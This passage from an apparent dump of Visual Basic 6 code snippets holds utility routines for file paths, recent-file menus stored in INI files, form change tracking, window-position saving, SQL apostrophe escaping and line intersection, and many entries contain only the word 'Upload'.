Function\nPublic Function RemoveBackSlash(ByVal sPath As String) As String\n'Returns sPath without a trailing backslash if sPath\n'has one. Otherwise, returns sPath.\n \n sPath = Trim$(sPath)\n If Len(sPath) > 0 Then\n sPath = Left$(sPath, Len(sPath) - IIf(Right$(sPath, 1) = \"\\\", 1, 0))\n End If\n RemoveBackSlash = sPath\n \nEnd Function\nPublic Function AppPath() As String\n'Returns App.Path with backslash \"\\\"\nDim sPath As String\n sPath = App.Path\n AppPath = sPath & IIf(Right$(sPath, 1) <> \"\\\", \"\\\", \"\")\n \nEnd Function\nPublic Function Exists(ByVal sFilename As String) As Boolean\n'Returns True if File Exists.\n'Else returns False.\n If Len(Trim$(sFilename)) > 0 Then\n On Error Resume Next\n sFilename = Dir$(sFilename)\n Exists = ((Err.Number = 0) And (Len(sFilename) > 0))\n Else\n Exists = False\n End If\n \nEnd Function\nPublic Function GetFilePath(ByVal sFilename As String, Optional ByVal bAddBackslash As Boolean) As String\n'Returns Path Without FileTitle\nDim lPos As Long\n lPos = InStrRev(sFilename, \"\\\")\n If lPos > 0 Then\n GetFilePath = Left$(sFilename, lPos - 1) _\n & IIf(bAddBackslash, \"\\\", \"\")\n Else\n GetFilePath = \"\"\n End If\n \nEnd Function\nPublic Function GetFileTitle(ByVal sFilename As String) As String\n'Returns FileTitle Without Path\nDim lPos As Long\n lPos = InStrRev(sFilename, \"\\\")\n If lPos > 0 Then\n If lPos < Len(sFilename) Then\n GetFileTitle = Mid$(sFilename, lPos + 1)\n Else\n GetFileTitle = \"\"\n End If\n Else\n GetFileTitle = sFilename\n End If\n \nEnd Function\n"},{"WorldId":1,"id":5252,"LineNumber":1,"line":"'sDefInitFileName is setup as (AppPath\\AppEXEName.Ini)\n'and is used as the Default Initialization Filename\nPrivate sDefInitFileName As String\nDeclare Function GetPrivateProfileString Lib \"kernel32\" Alias \"GetPrivateProfileStringA\" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpDefault As String, ByVal lpReturnedString As String, ByVal nSize As Long, ByVal lpFileName As String) As Long\nDeclare Function WritePrivateProfileString Lib \"kernel32\" Alias \"WritePrivateProfileStringA\" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpString As Any, ByVal lpFileName As String) As Long\nPublic Sub AddRecentFile(ByVal sNewFileName As String, mnuRecent As Variant, Optional ByVal iMaxEntries As Integer = 8, Optional ByVal iMaxFileNameLen As Integer = 60)\nDim lRet As Long\nDim iArrayCnt As Integer\nDim iFileCnt As Integer\nDim sFilename As String\nDim saFiles() As String\n ReDim saFiles(iMaxEntries)\n \n 'Add New File at First Position\n saFiles(0) = sNewFileName\n \n 'Get all Files in Init File\n iFileCnt = 1\n sFilename = GetInitEntry(\"Recent Files\", \"File \" & CStr(iFileCnt), \"\")\n While Len(sFilename) > 0 And iArrayCnt < iMaxEntries\n 'Don't get New File Again\n If LCase$(sFilename) <> LCase$(sNewFileName) Then\n iArrayCnt = iArrayCnt + 1\n saFiles(iArrayCnt) = sFilename\n End If\n iFileCnt = iFileCnt + 1\n sFilename = GetInitEntry(\"Recent Files\", \"File \" & CStr(iFileCnt), \"\")\n Wend\n \n 'Release Excess Memory\n ReDim Preserve saFiles(iArrayCnt)\n \n 'Clean up the Init File (Deletes the Entire \"Recent Files\" Section)\n lRet = SetInitEntry(\"Recent Files\")\n \n 'Put Files Back Into Init File in Their New Order\n For iFileCnt = 0 To iArrayCnt\n lRet = SetInitEntry(\"Recent Files\", \"File \" & CStr(iFileCnt + 1), saFiles(iFileCnt))\n Next iFileCnt\n \n 'Retrieve Ordered Files Back Into Menu\n Call GetRecentFiles(mnuRecent, iMaxEntries, iMaxFileNameLen)\n \n 'Checkmark First Recent File\n mnuRecent(0).Checked = (mnuRecent(0).Caption <> \"(Empty)\")\n \nEnd Sub\nPublic Sub GetRecentFiles(mnuRecent As Variant, Optional ByVal iMaxEntries As Integer = 8, Optional ByVal iMaxFileNameLen As Integer = 60)\n'mnuRecent Must Be a Menu Array. At Design Time, create\n'the first mnuRecent(0) with the Caption set to \"(Empty)\"\n'and Disable it.\nDim iIdx As Integer\nDim iFileCnt As Integer\nDim iFullCnt As Integer\nDim iMenuCnt As Integer\nDim sFilename As String\n On Error GoTo LocalError\n \n 'Get the Menu Count\n iMenuCnt = mnuRecent.UBound\n \n 'Unload all but first Menu\n For iIdx = 1 To iMenuCnt\n Unload mnuRecent(iIdx)\n Next iIdx\n mnuRecent(0).Checked = False\n mnuRecent(0).Tag = \"\"\n mnuRecent(0).Enabled = False\n mnuRecent(0).Caption = \"(Empty)\"\n \n 'Get First Entry In InitFile\n sFilename = GetInitEntry(\"Recent Files\", \"File \" & CStr(iFullCnt + 1), \"\")\n While Len(sFilename) > 0 And iFileCnt <= iMaxEntries\n If Exists(sFilename) Then\n 'Load Menu Item if Not First Item\n If iFileCnt > 0 Then\n Load mnuRecent(iFileCnt)\n End If\n 'Create Menu Caption\n 'ex. \"&1 C:\\DirName\\DirName\\FileName\"\n mnuRecent(iFileCnt).Caption = \"&\" & CStr(iFileCnt + 1) & \" \" & _\n ShortenFileName(sFilename, iMaxFileNameLen)\n 'Menu.Tag Contains Actual Filename.\n 'Menu.Caption May Contain A Shortened Version Of It.\n mnuRecent(iFileCnt).Tag = sFilename\n mnuRecent(iFileCnt).Enabled = True\n mnuRecent(iFileCnt).Visible = True\n iFileCnt = iFileCnt + 1\n End If\n iFullCnt = iFullCnt + 1\n 'Get Next Entry\n sFilename = GetInitEntry(\"Recent Files\", \"File \" & CStr(iFullCnt + 1), \"\")\n 'Loops If Next Entry Is Valid\n Wend\nNormalExit:\n Exit Sub\n \nLocalError:\n MsgBox Err.Description, vbExclamation, App.EXEName\n Resume NormalExit\n \nEnd Sub\nPrivate Function Exists(ByVal sFilename As String) As Boolean\n If Len(Trim$(sFilename)) > 0 Then\n On Error Resume Next\n sFilename = Dir$(sFilename)\n Exists = Err.Number = 0 And Len(sFilename) > 0\n Else\n Exists = False\n End If\n \nEnd Function\nPublic Sub RemoveRecentFile(ByVal sRemoveFileName As String, mnuRecent As Variant, Optional ByVal iMaxEntries As Integer = 8, Optional ByVal iMaxFileNameLen As Integer = 60)\nDim lRet As Long\nDim iArrayCnt As Integer\nDim iFileCnt As Integer\nDim sFilename As String\nDim saFiles() As String\n ReDim saFiles(iMaxEntries)\n \n 'Get all Files in Init File\n iFileCnt = 1\n sFilename = GetInitEntry(\"Recent Files\", \"File \" & CStr(iFileCnt), \"\")\n While Len(sFilename) > 0 And iArrayCnt < iMaxEntries\n 'Don't get the File to be removed\n If LCase$(sFilename) <> LCase$(sRemoveFileName) Then\n saFiles(iArrayCnt) = sFilename\n iArrayCnt = iArrayCnt + 1\n End If\n iFileCnt = iFileCnt + 1\n sFilename = GetInitEntry(\"Recent Files\", \"File \" & CStr(iFileCnt), \"\")\n Wend\n \n 'Release Excess Memory\n ReDim Preserve saFiles(iArrayCnt - 1)\n \n 'Clean up the Init File (Deletes the Entire \"Recent Files\" Section)\n lRet = SetInitEntry(\"Recent Files\")\n \n 'Put Files Back Into Init File Without the Removed File\n For iFileCnt = 0 To iArrayCnt - 1\n lRet = SetInitEntry(\"Recent Files\", \"File \" & CStr(iFileCnt + 1), saFiles(iFileCnt))\n Next iFileCnt\n \n 'Retrieve Ordered Files Back Into Menu\n Call GetRecentFiles(mnuRecent, iMaxEntries, iMaxFileNameLen)\n \nEnd Sub\nPublic Function ShortenFileName(ByVal sFilename As String, ByVal intMaxLen As Integer) As String\nDim iLen As Integer\nDim iSlashPos As Integer\n On Error GoTo LocalError\n \n 'If Filename Is Longer Than MaxLen\n If Len(sFilename) > intMaxLen Then\n 'Make Room For \"...\"\n iLen = intMaxLen - 3\n 'Find First \"\\\"\n iSlashPos = InStr(sFilename, \"\\\")\n 'Loop Until Filename is Shorter Than MaxLen\n While (iSlashPos > 0) And (Len(sFilename) > iLen)\n sFilename = Mid$(sFilename, iSlashPos)\n 'Find Next \"\\\"\n iSlashPos = InStr(2, sFilename, \"\\\")\n Wend\n 'If No \"\\\" Was Found (FailSafe - This Should Not Happen)\n If Len(sFilename) > iLen Then\n '\"Very Long FileName\" = \"...ong Filename\"\n sFilename = \"...\" & Mid$(sFilename, Len(sFilename) - iLen + 1)\n Else\n '\"C:\\Dir1\\Dir2\\Dir3\\File\" = \"...\\Dir2\\Dir3\\File\"\n sFilename = \"...\" & sFilename\n End If\n \n End If\n \n 'Set Return Filename\n ShortenFileName = sFilename\nNormalExit:\n Exit Function\n \nLocalError:\n MsgBox Err.Description, vbExclamation, App.EXEName\n Resume NormalExit\nEnd Function\nPublic Function GetInitEntry(ByVal sSection As String, ByVal sKeyName As String, Optional ByVal sDefault As String = \"\", Optional ByVal sInitFileName As String = \"\") As String\n'This Function Reads In a String From The Init File.\n'Returns Value From Init File or sDefault If No Value Exists.\n'sDefault Defaults to an Empty String (\"\").\n'Creates and Uses sDefInitFileName (AppPath\\AppEXEName.Ini)\n'if sInitFileName Parameter Is Not Passed In.\nDim sBuffer As String\nDim sInitFile As String\n 'If Init Filename NOT Passed In\n If Len(sInitFileName) = 0 Then\n 'If Static Init FileName NOT Already Created\n If Len(sDefInitFileName) = 0 Then\n 'Create Static Init FileName\n sDefInitFileName = App.Path\n If Right$(sDefInitFileName, 1) <> \"\\\" Then\n sDefInitFileName = sDefInitFileName & \"\\\"\n End If\n sDefInitFileName = sDefInitFileName & App.EXEName & \".ini\"\n End If\n sInitFile = sDefInitFileName\n Else 'If Init Filename Passed In\n sInitFile = sInitFileName\n End If\n \n sBuffer = String$(2048, \" \")\n GetInitEntry = Left$(sBuffer, GetPrivateProfileString(sSection, ByVal sKeyName, sDefault, sBuffer, Len(sBuffer), sInitFile))\nEnd Function\nPublic Function SetInitEntry(ByVal sSection As String, Optional ByVal sKeyName As String, Optional ByVal sValue As String, Optional ByVal sInitFileName As String = \"\") As Long\n'This Function Writes a String To The Init File.\n'Returns WritePrivateProfileString Success or Error.\n'Creates and Uses sDefInitFileName (AppPath\\AppEXEName.Ini)\n'if sInitFileName Parameter Is Not Passed In.\n'***** CAUTION *****\n'If sValue is Null then sKeyName is deleted from the Init File.\n'If sKeyName is Null then sSection is deleted from the Init File.\nDim sInitFile As String\n 'If Init Filename NOT Passed In\n If Len(sInitFileName) = 0 Then\n 'If Static Init FileName NOT Already Created\n If Len(sDefInitFileName) = 0 Then\n 'Create Static Init FileName\n sDefInitFileName = App.Path\n If Right$(sDefInitFileName, 1) <> \"\\\" Then\n sDefInitFileName = sDefInitFileName & \"\\\"\n End If\n sDefInitFileName = sDefInitFileName & App.EXEName & \".ini\"\n End If\n sInitFile = sDefInitFileName\n Else 'If Init Filename Passed In\n sInitFile = sInitFileName\n End If\n \n If Len(sKeyName) > 0 And Len(sValue) > 0 Then\n SetInitEntry = WritePrivateProfileString(sSection, ByVal sKeyName, ByVal sValue, sInitFile)\n ElseIf Len(sKeyName) > 0 Then\n SetInitEntry = WritePrivateProfileString(sSection, ByVal sKeyName, vbNullString, sInitFile)\n Else\n SetInitEntry = WritePrivateProfileString(sSection, vbNullString, vbNullString, sInitFile)\n End If\nEnd Function\n"},{"WorldId":1,"id":6298,"LineNumber":1,"line":"Place this line in your immediate window and run it. It will return \"Test5\".\nPrint Split(\"Test0 Test1 Test2 Test3 Test4 Test5 Test6\", \" \")(5)\n"},{"WorldId":1,"id":6154,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6029,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8849,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8576,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8247,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8234,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8196,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7812,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5671,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6361,"LineNumber":1,"line":"'This Code Is placed in a Common Module so All forms Can Access it\n'This Enum used to Navigate the MyFormValuesOnLoad Array (-1,0,1,2)\nPublic Enum ValueType\n NotControlArray = -1\n MyName\n MyTextOrValue\n MyIndex\nEnd Enum\n'These are Constants for Use in calling IsDirty\nPublic Const RESET_VALUES As Boolean = True\nPublic Const RESET_ACTIVE_CONTROL As Boolean = True\n''''''''''''''''''''''''''''''''''''''''''''''\n'This Code Is placed in a Common Module so All forms Can Access it\nPublic Sub FormatData(MyForm As Form, MyFormValuesOnLoad As Variant)\n 'BGS 8/10/1999\n 'A. formats data in all controls for MyForm\n 'depending upon the control type and what its tag property says\n \n 'B. Then it places all the control names and their values into\n 'a dynamic two dimensional variant array MyFormValuesOnLoad to be used later.\n 'The IsDirty boolean function will use this variant array to tell whether\n 'changes were made, as well as reset the values on the form if the user\n 'desires to do so.\n \n \n On Error GoTo EH\n \n Dim MyControl As Control\n Dim MyControlCount As Integer\n \n MyControlCount = 0\n \n 'A. formats data in all controls for MyForm\n 'depending upon the control type and what its tag property says\n \n Screen.MousePointer = vbHourglass\n \n For Each MyControl In MyForm.Controls\n 'Put data formating code here\n '\n '\n '\n '\n 'End Format Code\n If TypeOf MyControl Is TextBox Or TypeOf MyControl Is CheckBox Or TypeOf MyControl Is ComboBox Then\n MyControlCount = MyControlCount + 1\n End If\n \n Next\n \n 'B. Then it places all the control names and their values into\n 'a dynamic two dimensional variant array MyFormValuesOnLoad to be used later.\n 'The IsDirty boolean function will use this variant array to tell whether\n 'changes were made, as well as reset the values on the form if the user\n 'desires to do so.\n \n ReDim MyFormValuesOnLoad(MyName To MyIndex, 1 To MyControlCount)\n \n MyControlCount = 0\n \n For Each MyControl In MyForm.Controls\n If TypeOf MyControl Is TextBox Or TypeOf MyControl Is CheckBox Or TypeOf MyControl Is ComboBox Then\n \n MyControlCount = MyControlCount + 1\n \n MyFormValuesOnLoad(MyName, MyControlCount) = MyControl.Name\n \n If TypeOf MyControl Is TextBox Then\n MyFormValuesOnLoad(MyTextOrValue, MyControlCount) = MyControl.Text\n ElseIf TypeOf MyControl Is CheckBox Then\n MyFormValuesOnLoad(MyTextOrValue, MyControlCount) = MyControl.Value\n ElseIf TypeOf MyControl Is ComboBox Then\n MyFormValuesOnLoad(MyTextOrValue, MyControlCount) = MyControl.ListIndex\n End If\n \n If isControlArray(MyForm, MyControl) Then\n MyFormValuesOnLoad(MyIndex, MyControlCount) = MyControl.Index\n Else\n MyFormValuesOnLoad(MyIndex, MyControlCount) = NotControlArray\n End If\n \n End If\n Next\n \n Screen.MousePointer = vbDefault\n \n Exit Sub\nEH:\n Screen.MousePointer = vbDefault\n MsgBox Err.Description & \" in Form \" & MyForm.Name, , \"FormatData\"\nEnd Sub\n''''''''''''''''''''''''''''''''''\n'This Code Is placed in a Common Module so All forms Can Access it\nPublic Function isControlArray(MyForm As Form, MyControl As Control) As Boolean\n \n 'BGS 8/1/1999 Added this function to determin if a Control is part of\n 'a control array or not. I had to do this because VB does not have a\n 'function that figures this out IsArray does not work on Control Arrays\n \n On Error GoTo EH\n Dim MyCount As Integer\n Dim CheckMyControl As Control\n \n For Each CheckMyControl In MyForm.Controls\n If CheckMyControl.Name = MyControl.Name Then\n MyCount = MyCount + 1\n End If\n Next\n \n isControlArray = MyCount - 1\n Exit Function\nEH:\n MsgBox Err.Description & \"in Form \" & MyForm.Name, , \"isControlArray\"\nEnd Function\n''''''''''''''''''''''''''''''''''\n'This Code Is placed in a Common Module so All forms Can Access it\nPublic Function IsDirty(MyForm As Form, MyFormValuesOnLoad As Variant, Optional Reset As Boolean, Optional ResetActiveControl As Boolean, Optional MyActiveControl As Control) As Boolean\n 'BGS 8/8/1999 IsDirty for Forms with TextBoxes, CheckBoxes, and ComboBoxes\n \n 'Checks all the Controls on Myform and compares their values to what is in\n 'MyFormValuesOnLoad Variant Array.\n \n 'First the Function checks the type of each Control, if they are a TexBox CheckBox\n 'or ComboBox then it will continue on. Continuing, it will check to see if the\n 'Control in question is a Control array or not. IF it is then the function will\n 'compare each Name in the MyFormValuesOnLoad Variant array, When then name matches\n 'the one in the Array, then it will compare the Index. When both name and the Index\n 'match , then it will check the TypeOf of the Control in Question. If it is a TexBox\n 'then the function will compare the .Text to the MyTextOrValue in the Array. If it matches then It\n 'is \"Not Dirty\" so the Boolean variable bIsDirty remains False. (***Note if the Boolean Variable\n 'Reset is set to True Then All Controls will be set back to their previous value stored in the Array.\n 'Or if ResetActiveControl is Set to True, Then ONLY the Control which currently has Focus would be reset to\n 'the previous value stored in the Array. ***) The function does the exact same thing for\n 'the CheckBox and ComboBox controls but uses the .Value and .ListIndex instead of the .Text .\n \n 'IF the Control in question is not a control array then the function does the exact same\n 'thing as above but leaves out checking to make sure the index matches the Array since it\n 'does not have that property.\n \n On Error GoTo EH\n \n Dim MyControl As Control\n Dim MyControlCount As Integer\n Dim MyActCtrlName As String\n Dim MyActCtrlIndex As Integer\n Dim bIsDirty As Boolean\n \n Screen.MousePointer = vbHourglass\n \n If ResetActiveControl Then\n If isControlArray(MyForm, MyActiveControl) Then\n MyActCtrlIndex = MyActiveControl.Index\n End If\n MyActCtrlName = MyActiveControl.Name\n End If\n \n \n For Each MyControl In MyForm.Controls\n If TypeOf MyControl Is TextBox Or TypeOf MyControl Is CheckBox Or TypeOf MyControl Is ComboBox Then\n With MyControl\n If isControlArray(MyForm, MyControl) Then\n For MyControlCount = 1 To UBound(MyFormValuesOnLoad, 2)\n If MyFormValuesOnLoad(MyName, MyControlCount) = .Name Then\n If MyFormValuesOnLoad(MyIndex, MyControlCount) = .Index Then\n If TypeOf MyControl Is TextBox Then\n If MyFormValuesOnLoad(MyTextOrValue, MyControlCount) <> .Text Then\n bIsDirty = True\n If Reset Then\n .Text = MyFormValuesOnLoad(MyTextOrValue, MyControlCount)\n End If\n If ResetActiveControl Then\n If .Name = MyActCtrlName And .Index = MyActCtrlIndex Then\n .Text = MyFormValuesOnLoad(MyTextOrValue, MyControlCount)\n Screen.MousePointer = vbDefault\n Exit Function\n End If\n End If\n Exit For\n End If\n ElseIf TypeOf MyControl Is CheckBox Then\n If MyFormValuesOnLoad(MyTextOrValue, MyControlCount) <> .Value Then\n bIsDirty = True\n If Reset Then\n .Value = MyFormValuesOnLoad(MyTextOrValue, MyControlCount)\n End If\n If ResetActiveControl Then\n If .Name = MyActCtrlName And .Index = MyActCtrlIndex Then\n .Value = MyFormValuesOnLoad(MyTextOrValue, MyControlCount)\n Screen.MousePointer = vbDefault\n Exit Function\n End If\n End If\n Exit For\n End If\n ElseIf TypeOf MyControl Is ComboBox Then\n If MyFormValuesOnLoad(MyTextOrValue, MyControlCount) <> .ListIndex Then\n bIsDirty = True\n If Reset Then\n .ListIndex = MyFormValuesOnLoad(MyTextOrValue, MyControlCount)\n End If\n If ResetActiveControl Then\n If .Name = MyActCtrlName And .Index = MyActCtrlIndex Then\n .ListIndex = MyFormValuesOnLoad(MyTextOrValue, MyControlCount)\n Screen.MousePointer = vbDefault\n Exit Function\n End If\n End If\n Exit For\n End If\n End If\n End If\n End If\n Next\n Else\n For MyControlCount = 1 To UBound(MyFormValuesOnLoad, 2)\n If MyFormValuesOnLoad(MyName, MyControlCount) = .Name Then\n If TypeOf MyControl Is TextBox Then\n If MyFormValuesOnLoad(MyTextOrValue, MyControlCount) <> .Text Then\n bIsDirty = True\n If Reset Then\n .Text = MyFormValuesOnLoad(MyTextOrValue, MyControlCount)\n End If\n If ResetActiveControl Then\n If .Name = MyActCtrlName Then\n .Text = MyFormValuesOnLoad(MyTextOrValue, MyControlCount)\n Screen.MousePointer = vbDefault\n Exit Function\n End If\n End If\n Exit For\n End If\n ElseIf TypeOf MyControl Is CheckBox Then\n If MyFormValuesOnLoad(MyTextOrValue, MyControlCount) <> .Value Then\n bIsDirty = True\n If Reset Then\n .Value = MyFormValuesOnLoad(MyTextOrValue, MyControlCount)\n End If\n If ResetActiveControl Then\n If .Name = MyActCtrlName Then\n .Value = MyFormValuesOnLoad(MyTextOrValue, MyControlCount)\n Screen.MousePointer = vbDefault\n Exit Function\n End If\n End If\n Exit For\n End If\n ElseIf TypeOf MyControl Is ComboBox Then\n If MyFormValuesOnLoad(MyTextOrValue, MyControlCount) <> .ListIndex Then\n bIsDirty = True\n If Reset Then\n .ListIndex = MyFormValuesOnLoad(MyTextOrValue, MyControlCount)\n End If\n If ResetActiveControl Then\n If .Name = MyActCtrlName Then\n .ListIndex = MyFormValuesOnLoad(MyTextOrValue, MyControlCount)\n Screen.MousePointer = vbDefault\n Exit Function\n End If\n End If\n Exit For\n End If\n End If\n End If\n Next\n End If\n End With\n End If\n Next\n \n Screen.MousePointer = vbDefault\n IsDirty = bIsDirty\n \n Exit Function\nEH:\n Screen.MousePointer = vbDefault\n MsgBox Err.Description & \" in Form \" & MyForm.Name, , \"IsDirty\"\n \nEnd Function\n''''''''''''''''''''''''''''''''''''''''\n'This is the Click event for a ToolBar with Buttons you could use on your form\n'I used a tool bar because the Active Control such as a Textbox or whatever will\n'Remain Active even though you click on the ToolBar Button. This is Handy to know\n'if you want to reset Just the Active Textbox to its Original Value.\nPrivate Sub tbrReset_ButtonClick(ByVal Button As MSComctlLib.Button)\n'BGS 8/17/99\n \n On Error GoTo EH\n \n Select Case Button.Key\n Case \"ResetAll\"\n If IsDirty(Me, mValuesOnLoad) Then\n Select Case MsgBox(\"Are you sure you want to Reset All Values ?\", vbYesNo + vbQuestion, \" Reset to Previous Values\")\n Case vbYes\n Call IsDirty(Me, mValuesOnLoad, RESET_VALUES)\n Case vbNo\n Exit Sub\n End Select\n Else\n 'MsgBox \"Could not find Any Changes to Reset\", vbInformation, \"Reset\"\n End If\n Case \"ResetActive\"\n Call IsDirty(Me, mValuesOnLoad, , RESET_ACTIVE_CONTROL, Me.ActiveControl)\n End Select\n \n \n Exit Sub\nEH:\n MsgBox Err.Description & \" in Form \" & Me.Name, , \"ResetToolBar_ButtonClick\"\nEnd Sub\n''''''''''''''''''''''''''''''''\n'This Goes in your Form as a Mod level Variable. it will be used to Store\n'All the Values of TextBoxes, CheckBoxes, and ComboBoxes on Load\nPrivate mValuesOnLoad() As Variant\n"},{"WorldId":1,"id":6403,"LineNumber":1,"line":"Option Explicit\nPublic Sub FormWinRegPos(pMyForm As Form, Optional pbSave As Boolean)\n 'This Procedure will Either Retrieve or Save Form Posn values\n 'Best used on Form Load and Unload or QueryUnLoad\n On Error GoTo EH\n \n With pMyForm\n If pbSave Then\n 'If Saving then do this...\n 'If Form was minimized or Maximized then Closed Need to Save Windowstate\n 'THEN... set Back to Normal Or previous non Max or Min State then Save\n 'Posn Parameters SaveSetting App.EXEName, .Name, \"Top\", .Top\n SaveSetting App.EXEName, .Name, \"WindowState\", .WindowState\n If .WindowState = vbMinimized Or .WindowState = vbMaximized Then\n .WindowState = vbNormal\n End If\n 'Save AppName...FrmName...KeyName...Value\n SaveSetting App.EXEName, .Name, \"Top\", .Top\n SaveSetting App.EXEName, .Name, \"Left\", .Left\n SaveSetting App.EXEName, .Name, \"Height\", .Height\n SaveSetting App.EXEName, .Name, \"Width\", .Width\n Else\n 'If Not Saveing Must Be Getting ..\n 'Need to ref AppName...FrmName...KeyName (If nothing Stored Use The Exisiting Form value)\n .Top = GetSetting(App.EXEName, .Name, \"Top\", .Top)\n .Left = GetSetting(App.EXEName, .Name, \"Left\", .Left)\n .Height = GetSetting(App.EXEName, Name, \"Height\", .Height)\n .Width = GetSetting(App.EXEName, .Name, \"Width\", .Width)\n 'Be Sure WindowState is set last (Can't Change POSN if vbMinimized Or Maximized\n .WindowState = GetSetting(App.EXEName, .Name, \"WindowState\", .WindowState)\n End If\n End With\n \n Exit Sub\nEH:\n MsgBox \"Error \" & Err.Number & vbCrLf & vbCrLf & Err.Description\n \nEnd Sub\n\nPrivate Sub Form_Load()\n FormWinRegPos Me\nEnd Sub\n\nPrivate Sub Form_Unload(Cancel As Integer)\n FormWinRegPos Me, True\nEnd Sub\n"},{"WorldId":1,"id":6387,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5284,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6284,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5538,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5312,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6050,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5336,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7270,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7094,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5594,"LineNumber":1,"line":"Public Function Apos2(strSQL As String) As String\n Dim F As Long, N As Long, Q As Long\n Dim O As String, P As String, A As String\n Q = -1\n For F = 1 To Len(strSQL)\n P = Mid(strSQL, F, 1)\n If P = \"'\" Or P = \"\"\"\" Then\n If Q > 0 Then\n O = O + \"'\" + A\n A = \"\"\n End If\n Q = Q + 1\n ElseIf P = \",\" Then\n O = O & A\n Q = -1\n A = \"\"\n End If\n If Q <= 0 Then\n O = O & P\n Else\n A = A & P\n End If\n Next\n Apos2 = O & A\nEnd Function\n\n\n24 Jan 00\nSome Alterations,\nand some documentation,\nThough F stays in the loop, for sentimental reasons\nPublic Function Apos3(strSQL As String) As String\n\n'F is the current position in the original string\n'lCountOfApos Counts the occurrences of apostrophes and quotes\n'lCharaterAtPositionF equals the Character at position F\n'If lCharaterAtPositionF is equal to a apostrophes or quote Then\n'If lCountOfApos grater than zero\n'Then add a additional apostrophe to sOutput along with sBuffer\n'sBuffer is a Buffer that is used to store characters after the Second\n'occurrence of a apostrophes or quote whilst not encountering a Comma, Quote or apostrophe\n'Clear as mud\n Dim F As Long, lCountOfApos As Long\n Dim sOutput As String, lCharaterAtPositionF As String, sBuffer As String\n lCountOfApos = -1\n For F = 1 To Len(strSQL)\n lCharaterAtPositionF = Mid(strSQL, F, 1)\n If lCharaterAtPositionF = \"'\" Or lCharaterAtPositionF = \"\"\"\" Then\n If lCountOfApos > 0 Then\n sOutput = sOutput + \"'\" + sBuffer\n sBuffer = \"\"\n End If\n lCountOfApos = lCountOfApos + 1\n End If\n \n If lCountOfApos <= 0 Then\n sOutput = sOutput & lCharaterAtPositionF\n Else\n sBuffer = sBuffer & lCharaterAtPositionF\n If lCharaterAtPositionF = \",\" Or Right(sBuffer, 5) = \" AND \" Or Right(sBuffer, 4) = \" OR \" Then\n \n sOutput = sOutput & sBuffer\n lCountOfApos = -1\n sBuffer = \"\"\n \n End If\n End If\n Next\n Apos3 = sOutput & sBuffer\nEnd Function\n\n"},{"WorldId":1,"id":6168,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5347,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5356,"LineNumber":1,"line":"'include a common dialog control on your form for this baby to work\nPublic Sub OpenLog()\nDim LogFile as integer \nOn Error GoTo exit1\n OpenLog.Flags = cdlOFNHideReadOnly Or cdlOFNExplorer\n OpenLog.CancelError = True\n OpenLog.FileName = \"C:\\JetLog\\JET_LOG.log\" ' or whatever name grabs you by ' the nads\n temp = OpenLog.FileName\n Ret = Len(Dir$(temp))\n LogFile = FreeFile\n ' Open the log file.\n Open temp For Binary Access Write As LogFile\n If Err Then\n Exit Sub\n Else\n ' Go to the end of the file so that new data can be appended.\n Seek LogFile, LOF(LogFile) + 1\n End If\n Exit Sub\nexit1: ' Executes if folder is not found\n MsgBox \"Application will create new directory 'C:\\JetLog' on your hard drive.\" & vbCrLf & \"Replace message with your own text.\", vbExclamation, \"Message\"\n CreateDirX (\"C:\\JetLog\") 'pass the path name you want to create in ' these brackets\n OpenLog_Click\nEnd Sub\nPrivate Function CreateDirX(lpPathname As String) As Long\n Dim FYL As Long\n Dim DirC As SECURITY_ATTRIBUTES\n FYL = CreateDirectory(lpPathname, DirC)\nEnd Function\n"},{"WorldId":1,"id":6240,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5365,"LineNumber":1,"line":"Function Map_Line_Intersect(x1 As Long, y1 As Long, x2 As Long, y2 As Long, _\n x3 As Long, y3 As Long, x4 As Long, y4 As Long, _\n ByRef intersect As Boolean, ByRef x As Long, ByRef y As Long) As Boolean\n'Call with x1,y1,x2,y2,x3,y3,x4,y4 and returns intersect,x,y\n'\n'Where:\n' x1,y1,x2,y2,x3,y3,x4,y4 are the end points of two line segments\n'Returns:\n' intersect is true/false, and x,y is the interecting point if intersect is true\n'\n'Description:\n'\n'Line intersection test, requires a form with object Picture1\n'\n'Equations for the lines are:\n' Pa = P1 + Ua(P2 - P1)\n' Pb = P3 + Ub(P4 - P3)\n'\n'Solving for the point where Pa = Pb gives the following equations for ua and ub\n' Ua = ((x4 - x3) * (y1 - y3) - (y4 - y3) * (x1 - x3)) / ((y4 - y3) * (x2 - x1) - (x4 - x3) * (y2 - y1))\n' Ub = ((x2 - x1) * (y1 - y3) - (y2 - y1) * (x1 - x3)) / ((y4 - y3) * (x2 - x1) - (x4 - x3) * (y2 - y1))\n'\n'Substituting either of these into the corresponding equation for the line gives the intersection point.\n'For example the intersection point (x,y) is\n' x = x1 + Ua(x2 - x1)\n' y = y1 + Ua(y2 - y1)\n'\n'Notes:\n' - The denominators are the same.\n'\n' - If the denominator above is 0 then the two lines are parallel.\n'\n' - If the denominator and numerator are 0 then the two lines are coincident.\n'\n' - The equations above apply to lines, if the intersection of line segments is required then it is only\n' necessary to test if ua and ub lie between 0 and 1. Whichever one lies within that range then the\n' corresponding line segment contains the intersection point. If both lie within the range of 0 to 1 then\n' the intersection point is within both line segments.\nDim d As Double\nDim Ua As Double\nDim Ub As Double\n'Pre calc the denominator, if zero then both lines are parallel and there is no intersection\nd = ((y4 - y3) * (x2 - x1) - 